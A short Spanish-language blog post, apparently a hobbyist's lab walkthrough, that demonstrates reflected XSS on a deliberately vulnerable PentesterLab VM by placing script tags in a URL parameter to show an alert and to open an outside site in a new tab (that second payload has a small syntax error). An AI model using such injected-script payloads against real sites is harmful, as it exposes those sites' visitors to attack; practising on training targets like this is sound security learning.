Jugando un poco con XSS

Hola Amigos:
En esta primera entrada de mi blog, me gusaría inaugurarlo con una distribución de Linux con varias vulnerabilidades web, que os podéis descargar del enlace: http://www.webpentesterlab.com
Una vez corriendo en Virtual Box, abrimos el navegador y ponemos la dirección IP de la máquina

Nos vamos al primer ejemplo de XSS:

Observemos la barra de direcciones:
http://192.168.1.131/xss/example1.php?name=hacker
Vamos a cambiarla por otra cosa, por ejemplo:
http://192.168.1.131/xss/example1.php?name=manugomez1977
Y ahora observemos el nuevo aspecto:

Como vemos, ha cambiado el mensaje.
Podemos usar también javascript, por ejemplo, haremos que se muestre un mensaje:
http://192.168.1.131/xss/example1.php?name=<script>alert("Happy Hacking !!!!!");</script>

Escribamos ahora:

http://192.168.1.131/xss/example1.php?name=<script>open("http://www.mundohacker.es";</script>

Y se abrirá una nueva pestaña con la página de mundo hacker

Imaginaos las posibilidades que nos permite el XSS.

Saludos a todos.

Happy Hacking ;-)